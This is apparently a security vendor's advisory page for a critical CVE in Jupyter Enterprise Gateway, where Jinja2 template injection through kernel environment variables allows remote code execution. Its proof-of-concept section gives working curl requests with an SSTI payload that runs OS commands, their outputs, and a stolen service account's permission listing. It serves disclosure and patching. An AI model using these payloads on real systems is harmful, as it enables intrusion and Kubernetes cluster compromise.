Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-44181 — enterprise-gateway

🔴 CVSS 10.0 — Critical ⚠️ Exploit Public CWE-1336 NVD
10.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution

Summary

The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).

By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.

The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247

The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using {{7 * 7}}

```bash

curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'

```

```json

{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}

```

Running kubectl get pods

```

NAME READY STATUS RESTARTS AGE

bdawg-49 1/1 Running 0 3m54s

```

Remote code execution - OS Commands via SSTI

```bash

curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'

```

```json

{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07

```

```

NAME READY STATUS RESTARTS AGE

bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s

```

enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC

The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account kubectl auth can-i --list

```

Resources Non-Resource URLs Resource Names Verbs

selfsubjectreviews.authentication.k8s.io [] [] [create]

selfsubjectaccessreviews.authorization.k8s.io [] [] [create]

selfsubjectrulesreviews.authorization.k8s.io [] [] [create]

rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]

configmaps [] [] [get watch list create delete]

namespaces [] [] [get watch list create delete]

persistentvolumeclaims [] [] [get watch list create delete]

persistentvolumes [] [] [get watch list create delete]

pods [] [] [get watch list create delete]

secrets [] [] [get watch list create delete]

services [] [] [get watch list create delete]

scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]

scheduledsparkapplications.sparkoperator.k8s.io

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-44181 is classified as CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine. The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when…

Affected software

CVE-2026-44181 is recorded against 2 packages.

  • enterprise-gateway
  • jupyter-enterprise-gateway (from 2.0.0rc2 up to 3.3.0)

Timeline and source

Published on 16 July 2026 and last revised on 5 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com
github.com
github.com

Other advisories for this package

enterprise-gateway has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) in other software:

Details

Severity CRITICAL
CVSS Score 10.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE CWE-1336
Public Exploit ⚠️ Yes
Source NVD
Published 2026-07-16
Updated 2026-08-20
Modified 2026-08-05
Fix URL N/A

Affected Packages

Software From version Fixed in
enterprise-gateway — —
jupyter-enterprise-gateway 2.0.0rc2 3.3.0

Similar Threats

Exploit Protection

Are you running enterprise-gateway?

CVE-2026-44181 carries CVSS 10.0 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-44181 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓